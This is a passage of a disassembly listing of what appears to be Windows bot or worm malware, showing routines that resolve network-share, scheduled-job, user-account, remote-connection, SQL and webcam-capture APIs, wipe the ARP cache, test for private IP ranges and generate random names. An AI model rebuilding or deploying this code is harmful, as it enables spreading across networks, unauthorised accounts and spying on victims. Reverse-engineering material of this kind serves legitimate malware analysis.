		push	offset aIcmpclosehandl ; "IcmpCloseHandle"
		push	edi
		mov	dword_4E3080, eax
		call	esi	; GetProcAddress
		push	offset aIcmpsendecho ; "IcmpSendEcho"
		push	edi
		mov	dword_4E31B0, eax
		call	esi	; GetProcAddress
		cmp	dword_4E3080, ebx
		mov	dword_4E3010, eax
		jz	short loc_40A728
		cmp	dword_4E31B0, ebx
		jz	short loc_40A728
		cmp	eax, ebx
		jnz	short loc_40A732
		jmp	short loc_40A728
; ---------------------------------------------------------------------------

loc_40A71D:				; CODE XREF: sub_409DD4+90Aj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E31EC, eax

loc_40A728:				; CODE XREF: sub_409DD4+939j
					; sub_409DD4+941j ...
		mov	dword_4E31E8, 1

loc_40A732:				; CODE XREF: sub_409DD4+945j
		push	offset aNetapi32_dll ; "netapi32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A839
		push	offset aNetshareadd ; "NetShareAdd"
		push	edi
		call	esi	; GetProcAddress
		push	offset aNetsharedel ; "NetShareDel"
		push	edi
		mov	dword_4E2FEC, eax
		call	esi	; GetProcAddress
		push	offset aNetshareenum ; "NetShareEnum"
		push	edi
		mov	dword_4E2FC4, eax
		call	esi	; GetProcAddress
		push	offset aNetschedulejob ; "NetScheduleJobAdd"
		push	edi
		mov	dword_4E303C, eax
		call	esi	; GetProcAddress
		push	offset aNetapibufferfr ; "NetApiBufferFree"
		push	edi
		mov	dword_4E3070, eax
		call	esi	; GetProcAddress
		push	offset aNetremotetod ; "NetRemoteTOD"
		push	edi
		mov	dword_4E3188, eax
		call	esi	; GetProcAddress
		push	offset aNetuseradd ; "NetUserAdd"
		push	edi
		mov	dword_4E3024, eax
		call	esi	; GetProcAddress
		push	offset aNetuserdel ; "NetUserDel"
		push	edi
		mov	dword_4E2FD0, eax
		call	esi	; GetProcAddress
		push	offset aNetuserenum ; "NetUserEnum"
		push	edi
		mov	dword_4E2FC0, eax
		call	esi	; GetProcAddress
		push	offset aNetusergetinfo ; "NetUserGetInfo"
		push	edi
		mov	dword_4E3058, eax
		call	esi	; GetProcAddress
		push	offset aNetmessagebuff ; "NetMessageBufferSend"
		push	edi
		mov	dword_4E3150, eax
		call	esi	; GetProcAddress
		push	offset aNetwkstagetinf ; "NetWkstaGetInfo"
		push	edi
		mov	dword_4E3108, eax
		call	esi	; GetProcAddress
		cmp	dword_4E2FEC, ebx
		mov	dword_4E302C, eax
		jz	short loc_40A844
		cmp	dword_4E2FC4, ebx
		jz	short loc_40A844
		cmp	dword_4E303C, ebx
		jz	short loc_40A844
		cmp	dword_4E3070, ebx
		jz	short loc_40A844
		cmp	dword_4E3188, ebx
		jz	short loc_40A844
		cmp	dword_4E3024, ebx
		jz	short loc_40A844
		cmp	dword_4E2FD0, ebx
		jz	short loc_40A844
		cmp	dword_4E2FC0, ebx
		jz	short loc_40A844
		cmp	dword_4E3058, ebx
		jz	short loc_40A844
		cmp	dword_4E3150, ebx
		jz	short loc_40A844
		cmp	dword_4E3108, ebx
		jnz	short loc_40A84E
		jmp	short loc_40A844
; ---------------------------------------------------------------------------

loc_40A839:				; CODE XREF: sub_409DD4+969j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E31F4, eax

loc_40A844:				; CODE XREF: sub_409DD4+A11j
					; sub_409DD4+A19j ...
		mov	dword_4E31F0, 1

loc_40A84E:				; CODE XREF: sub_409DD4+A61j
		push	offset aDnsapi_dll ; "dnsapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A883
		push	offset aDnsflushresolv ; "DnsFlushResolverCache"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A"
		push	edi
		mov	dword_4E3014, eax
		call	esi	; GetProcAddress
		cmp	dword_4E3014, ebx
		mov	dword_4E30F0, eax
		jz	short loc_40A88E
		cmp	eax, ebx
		jnz	short loc_40A898
		jmp	short loc_40A88E
; ---------------------------------------------------------------------------

loc_40A883:				; CODE XREF: sub_409DD4+A85j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E31FC, eax

loc_40A88E:				; CODE XREF: sub_409DD4+AA7j
					; sub_409DD4+AADj
		mov	dword_4E31F8, 1

loc_40A898:				; CODE XREF: sub_409DD4+AABj
		push	offset aIphlpapi_dll ; "iphlpapi.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A8CD
		push	offset aGetipnettable ;	"GetIpNetTable"
		push	edi
		call	esi	; GetProcAddress
		push	offset aDeleteipnetent ; "DeleteIpNetEntry"
		push	edi
		mov	dword_4E3174, eax
		call	esi	; GetProcAddress
		cmp	dword_4E3174, ebx
		mov	dword_4E3170, eax
		jz	short loc_40A8D8
		cmp	eax, ebx
		jnz	short loc_40A8E2
		jmp	short loc_40A8D8
; ---------------------------------------------------------------------------

loc_40A8CD:				; CODE XREF: sub_409DD4+ACFj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E3204, eax

loc_40A8D8:				; CODE XREF: sub_409DD4+AF1j
					; sub_409DD4+AF7j
		mov	dword_4E3200, 1

loc_40A8E2:				; CODE XREF: sub_409DD4+AF5j
		push	offset aMpr_dll	; "mpr.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A941
		push	offset aWnetaddconnect ; "WNetAddConnection2A"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWnetaddconne_0 ; "WNetAddConnection2W"
		push	edi
		mov	dword_4E31A0, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelconn ; "WNetCancelConnection2A"
		push	edi
		mov	dword_4E3198, eax
		call	esi	; GetProcAddress
		push	offset aWnetcancelco_0 ; "WNetCancelConnection2W"
		push	edi
		mov	dword_4E3160, eax
		call	esi	; GetProcAddress
		cmp	dword_4E31A0, ebx
		mov	dword_4E3030, eax
		jz	short loc_40A94C
		cmp	dword_4E3198, ebx
		jz	short loc_40A94C
		cmp	dword_4E3160, ebx
		jz	short loc_40A94C
		cmp	eax, ebx
		jnz	short loc_40A956
		jmp	short loc_40A94C
; ---------------------------------------------------------------------------

loc_40A941:				; CODE XREF: sub_409DD4+B19j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E320C, eax

loc_40A94C:				; CODE XREF: sub_409DD4+B55j
					; sub_409DD4+B5Dj ...
		mov	dword_4E3208, 1

loc_40A956:				; CODE XREF: sub_409DD4+B69j
		push	offset aShell32_dll ; "shell32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40A98B
		push	offset aShellexecutea ;	"ShellExecuteA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aShchangenotify ; "SHChangeNotify"
		push	edi
		mov	dword_4E3064, eax
		call	esi	; GetProcAddress
		cmp	dword_4E3064, ebx
		mov	dword_4E316C, eax
		jz	short loc_40A996
		cmp	eax, ebx
		jnz	short loc_40A9A0
		jmp	short loc_40A996
; ---------------------------------------------------------------------------

loc_40A98B:				; CODE XREF: sub_409DD4+B8Dj
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E3214, eax

loc_40A996:				; CODE XREF: sub_409DD4+BAFj
					; sub_409DD4+BB5j
		mov	dword_4E3210, 1

loc_40A9A0:				; CODE XREF: sub_409DD4+BB3j
		push	offset aOdbc32_dll ; "odbc32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40AA29
		push	offset aSqldriverconne ; "SQLDriverConnect"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSqlsetenvattr ;	"SQLSetEnvAttr"
		push	edi
		mov	dword_4E3134, eax
		call	esi	; GetProcAddress
		push	offset aSqlexecdirect ;	"SQLExecDirect"
		push	edi
		mov	dword_4E3180, eax
		call	esi	; GetProcAddress
		push	offset aSqlallochandle ; "SQLAllocHandle"
		push	edi
		mov	dword_4E30BC, eax
		call	esi	; GetProcAddress
		push	offset aSqlfreehandle ;	"SQLFreeHandle"
		push	edi
		mov	dword_4E3074, eax
		call	esi	; GetProcAddress
		push	offset aSqldisconnect ;	"SQLDisconnect"
		push	edi
		mov	dword_4E3114, eax
		call	esi	; GetProcAddress
		cmp	dword_4E3134, ebx
		mov	dword_4E3084, eax
		jz	short loc_40AA34
		cmp	dword_4E3180, ebx
		jz	short loc_40AA34
		cmp	dword_4E30BC, ebx
		jz	short loc_40AA34
		cmp	dword_4E3074, ebx
		jz	short loc_40AA34
		cmp	dword_4E3114, ebx
		jz	short loc_40AA34
		cmp	eax, ebx
		jnz	short loc_40AA3E
		jmp	short loc_40AA34
; ---------------------------------------------------------------------------

loc_40AA29:				; CODE XREF: sub_409DD4+BD7j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E321C, eax

loc_40AA34:				; CODE XREF: sub_409DD4+C2Dj
					; sub_409DD4+C35j ...
		mov	dword_4E3218, 1

loc_40AA3E:				; CODE XREF: sub_409DD4+C51j
		push	offset aAvicap32_dll ; "avicap32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	short loc_40AA73
		push	offset aCapcreatecaptu ; "capCreateCaptureWindowA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCapgetdriverde ; "capGetDriverDescriptionA"
		push	edi
		mov	dword_4E3048, eax
		call	esi	; GetProcAddress
		cmp	dword_4E3048, ebx
		mov	dword_4E3128, eax
		jz	short loc_40AA7E
		cmp	eax, ebx
		jnz	short loc_40AA88
		jmp	short loc_40AA7E
; ---------------------------------------------------------------------------

loc_40AA73:				; CODE XREF: sub_409DD4+C75j
		call	ds:dword_4F5360	; RtlGetLastWin32Error
		mov	dword_4E3224, eax

loc_40AA7E:				; CODE XREF: sub_409DD4+C97j
					; sub_409DD4+C9Dj
		mov	dword_4E3220, 1

loc_40AA88:				; CODE XREF: sub_409DD4+C9Bj
		push	1
		pop	eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_409DD4	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_40AA90(int,char *Str,int,int)

sub_40AA90	proc near		; CODE XREF: sub_401CC7+2527p

Dest		= byte ptr -200h
arg_0		= dword	ptr  8
Str		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	ebx
		mov	ebx, [ebp+Str]
		push	esi
		xor	esi, esi
		cmp	dword_4E31B8, esi
		push	edi
		mov	edi, [ebp+arg_8]
		jz	short loc_40AAD8
		push	dword_4E31BC
		lea	eax, [ebp+Dest]
		push	offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h

loc_40AAD8:				; CODE XREF: sub_40AA90+1Aj
		cmp	dword_4E31C0, esi
		jz	short loc_40AB0C
		push	dword_4E31C4
		lea	eax, [ebp+Dest]
		push	offset aUser32_dllFail ; "User32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h

loc_40AB0C:				; CODE XREF: sub_40AA90+4Ej
		cmp	dword_4E31C8, esi
		jz	short loc_40AB40
		push	dword_4E31CC
		lea	eax, [ebp+Dest]
		push	offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h

loc_40AB40:				; CODE XREF: sub_40AA90+82j
		cmp	dword_4E31D0, esi
		jz	short loc_40AB74
		push	dword_4E31D4
		lea	eax, [ebp+Dest]
		push	offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h

loc_40AB74:				; CODE XREF: sub_40AA90+B6j
		cmp	dword_4E31D8, esi
		jz	short loc_40ABA8
		push	dword_4E31DC
		lea	eax, [ebp+Dest]
		push	offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h

loc_40ABA8:				; CODE XREF: sub_40AA90+EAj
		cmp	dword_4E31E0, esi
		jz	short loc_40ABDC
		push	dword_4E31E4
		lea	eax, [ebp+Dest]
		push	offset aWininet_dllFai ; "Wininet.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h

loc_40ABDC:				; CODE XREF: sub_40AA90+11Ej
		cmp	dword_4E31E8, esi
		jz	short loc_40AC10
		push	dword_4E31EC
		lea	eax, [ebp+Dest]
		push	offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h

loc_40AC10:				; CODE XREF: sub_40AA90+152j
		cmp	dword_4E31F0, esi
		jz	short loc_40AC44
		push	dword_4E31F4
		lea	eax, [ebp+Dest]
		push	offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h

loc_40AC44:				; CODE XREF: sub_40AA90+186j
		cmp	dword_4E31F8, esi
		jz	short loc_40AC78
		push	dword_4E31FC
		lea	eax, [ebp+Dest]
		push	offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h

loc_40AC78:				; CODE XREF: sub_40AA90+1BAj
		cmp	dword_4E3200, esi
		jz	short loc_40ACAC
		push	dword_4E3204
		lea	eax, [ebp+Dest]
		push	offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h

loc_40ACAC:				; CODE XREF: sub_40AA90+1EEj
		cmp	dword_4E3208, esi
		jz	short loc_40ACE0
		push	dword_4E320C
		lea	eax, [ebp+Dest]
		push	offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h

loc_40ACE0:				; CODE XREF: sub_40AA90+222j
		cmp	dword_4E3210, esi
		jz	short loc_40AD14
		push	dword_4E3214
		lea	eax, [ebp+Dest]
		push	offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h

loc_40AD14:				; CODE XREF: sub_40AA90+256j
		cmp	dword_4E3218, esi
		jz	short loc_40AD48
		push	dword_4E321C
		lea	eax, [ebp+Dest]
		push	offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h

loc_40AD48:				; CODE XREF: sub_40AA90+28Aj
		cmp	dword_4E3220, esi
		jz	short loc_40AD7C
		push	dword_4E3224
		lea	eax, [ebp+Dest]
		push	offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
		push	eax		; Dest
		call	_sprintf
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 20h

loc_40AD7C:				; CODE XREF: sub_40AA90+2BEj
		lea	eax, [ebp+Dest]
		push	offset asc_44422C ; "-"
		push	eax		; Dest
		call	_sprintf
		cmp	[ebp+arg_C], esi
		pop	ecx
		pop	ecx
		jnz	short loc_40ADA9
		push	esi		; int
		lea	eax, [ebp+Dest]
		push	edi		; int
		push	eax		; int
		push	ebx		; Str
		push	[ebp+arg_0]	; int
		call	sub_409D34
		add	esp, 14h

loc_40ADA9:				; CODE XREF: sub_40AA90+302j
		lea	eax, [ebp+Dest]
		push	eax
		call	sub_415C3F
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40AA90	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		cmp	dword ptr [ebp+8], 0
		push	esi
		jz	loc_40AE50
		push	offset dword_4E323C
		push	dword ptr [ebp+8]
		call	_strcmp
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AE50
		push	20h
		lea	eax, [ebp-20h]
		push	dword ptr [ebp+8]
		push	eax
		call	_strncpy
		lea	eax, [ebp-20h]
		push	offset a__9	; "."
		push	eax
		call	_strtok
		add	esp, 14h
		test	eax, eax
		jz	short loc_40AE50
		push	eax
		call	_atoi
		mov	dword ptr [esp], offset	a__10 ;	"."
		push	0
		mov	esi, eax
		call	_strtok
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_40AE50
		push	eax
		call	_atoi
		cmp	esi, 0Ah
		pop	ecx
		jz	short loc_40AE4B
		cmp	esi, 0ACh
		jnz	short loc_40AE3C
		cmp	eax, 0Fh
		jle	short loc_40AE50
		cmp	eax, 20h
		jl	short loc_40AE4B

loc_40AE3C:				; CODE XREF: .text:0040AE30j
		cmp	esi, 0C0h
		jnz	short loc_40AE50
		cmp	eax, 0A8h
		jnz	short loc_40AE50

loc_40AE4B:				; CODE XREF: .text:0040AE28j
					; .text:0040AE3Aj
		push	1
		pop	eax
		jmp	short loc_40AE52
; ---------------------------------------------------------------------------

loc_40AE50:				; CODE XREF: .text:0040ADC6j
					; .text:0040ADDDj ...
		xor	eax, eax

loc_40AE52:				; CODE XREF: .text:0040AE4Ej
		pop	esi
		leave
		retn

; =============== S U B	R O U T	I N E =======================================



sub_40AE55	proc near		; CODE XREF: sub_4019E7+4Fp
					; sub_401CC7+5D16p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	dword_4E3138	; inet_addr
		cmp	eax, 0FFFFFFFFh
		jnz	short locret_40AE7D
		push	[esp+arg_0]
		call	dword_4E317C	; gethostbyname
		test	eax, eax
		jnz	short loc_40AE76
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------

loc_40AE76:				; CODE XREF: sub_40AE55+1Bj
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]

locret_40AE7D:				; CODE XREF: sub_40AE55+Dj
		retn
sub_40AE55	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AE7E	proc near		; CODE XREF: sub_4019E7+D6p
		mov	ecx, dword_4E3014
		xor	eax, eax
		test	ecx, ecx
		jz	short locret_40AE8C
		call	ecx	; DnsFlushResolverCache

locret_40AE8C:				; CODE XREF: sub_40AE7E+Aj
		retn
sub_40AE7E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AE8D	proc near		; CODE XREF: sub_401CC7:loc_404148p

Dest		= byte ptr -88h
Size		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 88h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	ebx
		lea	eax, [ebp+Size]
		xor	edi, edi
		push	ebx
		push	eax
		push	edi
		xor	esi, esi
		mov	[ebp+Size], edi
		mov	[ebp+var_4], ebx
		call	dword_4E3174	; GetIpNetTable
		mov	ecx, eax
		sub	ecx, edi
		jz	loc_40AF59
		sub	ecx, 32h
		jz	loc_40AF52
		sub	ecx, 48h
		jz	short loc_40AEED
		sub	ecx, 6Eh
		jz	short loc_40AEE6
		push	eax
		push	offset asc_444304 ; "-"

loc_40AED5:				; CODE XREF: sub_40AE8D+91j
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		add	esp, 0Ch
		jmp	short loc_40AF33
; ---------------------------------------------------------------------------

loc_40AEE6:				; CODE XREF: sub_40AE8D+40j
		push	offset unk_4442B0
		jmp	short loc_40AF25
; ---------------------------------------------------------------------------

loc_40AEED:				; CODE XREF: sub_40AE8D+3Bj
		push	[ebp+Size]	; Size
		call	_malloc
		push	[ebp+Size]	; Size
		mov	esi, eax
		push	edi		; Val
		push	esi		; Dst
		call	_memset
		add	esp, 10h
		cmp	esi, edi
		jz	short loc_40AF20
		lea	eax, [ebp+Size]
		push	ebx
		push	eax
		push	esi
		call	dword_4E3174	; GetIpNetTable
		cmp	eax, edi
		jz	short loc_40AF59
		push	eax
		push	offset unk_444254
		jmp	short loc_40AED5
; ---------------------------------------------------------------------------

loc_40AF20:				; CODE XREF: sub_40AE8D+79j
		push	offset asc_444280 ; "-"

loc_40AF25:				; CODE XREF: sub_40AE8D+5Ej
					; sub_40AE8D+CAj
		lea	eax, [ebp+Dest]
		push	eax		; Dest
		call	_sprintf
		pop	ecx
		pop	ecx

loc_40AF33:				; CODE XREF: sub_40AE8D+57j
		lea	eax, [ebp+Dest]
		mov	[ebp+var_4], edi
		push	eax
		call	sub_415C3F
		pop	ecx

loc_40AF43:				; CODE XREF: sub_40AE8D+CEj
					; sub_40AE8D+E2j
		push	esi		; Memory
		call	_free
		mov	eax, [ebp+var_4]
		pop	ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------

loc_40AF52:				; CODE XREF: sub_40AE8D+32j
		push	offset unk_4442D4
		jmp	short loc_40AF25
; ---------------------------------------------------------------------------

loc_40AF59:				; CODE XREF: sub_40AE8D+29j
					; sub_40AE8D+89j
		cmp	[esi], edi
		jbe	short loc_40AF43
		lea	ebx, [esi+4]

loc_40AF60:				; CODE XREF: sub_40AE8D+E0j
		push	ebx
		call	dword_4E3170	; DeleteIpNetEntry
		inc	edi
		add	ebx, 18h
		cmp	edi, [esi]
		jb	short loc_40AF60
		jmp	short loc_40AF43
sub_40AE8D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40AF71	proc near		; CODE XREF: sub_401CC7+2238p
					; sub_401CC7+2389p ...

Dst		= byte ptr -14h
var_10		= byte ptr -10h
var_F		= byte ptr -0Fh
var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 14h
		push	esi
		push	10h
		pop	eax
		mov	[ebp+var_4], eax
		push	eax		; Size
		lea	eax, [ebp+Dst]
		push	0		; Val
		push	eax		; Dst
		call	_memset
		add	esp, 0Ch
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+Dst]
		push	eax
		push	[ebp+arg_0]
		call	dword_4E309C	; getsockname
		movzx	eax, [ebp+var_D]
		push	eax
		mov	esi, offset byte_4E3228
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_F]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	esi		; Dest
		call	_sprintf
		add	esp, 18h
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40AF71	endp


; =============== S U B	R O U T	I N E =======================================



sub_40AFCA	proc near		; CODE XREF: .text:0040C831p
					; sub_413589+24Cp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_4]
		xor	eax, eax
		cmp	esi, 1
		jle	short loc_40AFF3
		mov	ecx, esi
		push	edi
		shr	ecx, 1
		mov	edx, ecx
		neg	edx
		lea	esi, [esi+edx*2]
		mov	edx, [esp+8+arg_0]

loc_40AFE6:				; CODE XREF: sub_40AFCA+24j
		movzx	edi, word ptr [edx]
		add	eax, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40AFE6
		pop	edi
		jmp	short loc_40AFF7
; ---------------------------------------------------------------------------

loc_40AFF3:				; CODE XREF: sub_40AFCA+Aj
		mov	edx, [esp+4+arg_0]

loc_40AFF7:				; CODE XREF: sub_40AFCA+27j
		test	esi, esi
		pop	esi
		jz	short loc_40B001
		movzx	ecx, byte ptr [edx]
		add	eax, ecx

loc_40B001:				; CODE XREF: sub_40AFCA+30j
		mov	ecx, eax
		and	eax, 0FFFFh
		shr	ecx, 10h
		add	ecx, eax
		mov	eax, ecx
		shr	eax, 10h
		add	eax, ecx
		not	eax
		retn
sub_40AFCA	endp

; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+0Ch]
		mov	edx, [ebp+8]
		push	esi
		xor	esi, esi
		cmp	eax, 1
		mov	[ebp-4], esi
		jle	short loc_40B044
		mov	ecx, eax
		push	edi
		shr	ecx, 1
		lea	edi, [ecx+ecx]
		sub	eax, edi

loc_40B036:				; CODE XREF: .text:0040B03Ej
		movzx	edi, word ptr [edx]
		add	esi, edi
		inc	edx
		inc	edx
		dec	ecx
		jnz	short loc_40B036
		pop	edi
		cmp	eax, 1

loc_40B044:				; CODE XREF: .text:0040B02Aj
		jnz	short loc_40B051
		mov	al, [edx]
		mov	[ebp-4], al
		movzx	eax, word ptr [ebp-4]
		add	esi, eax

loc_40B051:				; CODE XREF: .text:loc_40B044j
		mov	ecx, esi
		and	esi, 0FFFFh
		sar	ecx, 10h
		add	ecx, esi
		pop	esi
		mov	eax, ecx
		sar	eax, 10h
		add	eax, ecx
		not	eax
		leave
		retn

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40B06A(char *Dest)

sub_40B06A	proc near		; CODE XREF: sub_40B44F+49p
					; DATA XREF: .data:off_444350o

Dest		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_4F537C	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		call	_rand
		xor	edx, edx
		mov	ecx, 48Fh
		div	ecx
		mov	edi, [esp+8+Dest]
		push	off_4443B8[edx*4]
		push	offset aS_37	; "%s"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_43F098, esi
		jle	short loc_40B0D2

loc_40B0AC:				; CODE XREF: sub_40B06A+66j
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_3	; "%s%i"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43F098
		jl	short loc_40B0AC

loc_40B0D2:				; CODE XREF: sub_40B06A+40j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40B06A	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_40B0D7(char *Dest)

sub_40B0D7	proc near		; DATA XREF: .data:00444364o

var_C		= dword	ptr -0Ch
Dest		= dword	ptr  4

		push	esi
		push	edi
		call	ds:dword_4F537C	; GetTickCount
		push	eax		; Seed
		call	_srand
		mov	edi, [esp+0Ch+Dest]
		mov	[esp+0Ch+var_C], offset	asc_43F134 ; "-"
		push	offset aS_38	; "%s"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		xor	esi, esi
		add	esp, 10h
		cmp	dword_43F098, esi
		jle	short loc_40B130

loc_40B10A:				; CODE XREF: sub_40B0D7+57j
		call	_rand
		push	0Ah
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		push	edi
		push	offset aSI_4	; "%s%i"
		push	1Ch		; Count
		push	edi		; Dest
		call	__snprintf
		add	esp, 14h
		inc	esi
		cmp	esi, dword_43F098
		jl	short loc_40B10A

loc_40B130:				; CODE XREF: sub_40B0D7+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_40B0D7	endp


; =============== S U B	R O U T	I N E =======================================



sub_40B135	proc near		; CODE XREF: sub_401CC7+6A4Dp
					; DATA XREF: .data:00444378o

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		call	ds:dword_4F537C	; GetTickCount
		push	eax		; Seed
		call	_srand
		pop	ecx
		call	_rand
		push	3
		mov	ebx, [esp+10h+arg_0]
		cdq
		pop	ecx
		xor	edi, edi
		idiv	ecx
		mov	esi, edx
		add	esi, dword_43F098
		test	esi, esi
		jle	short loc_40B178

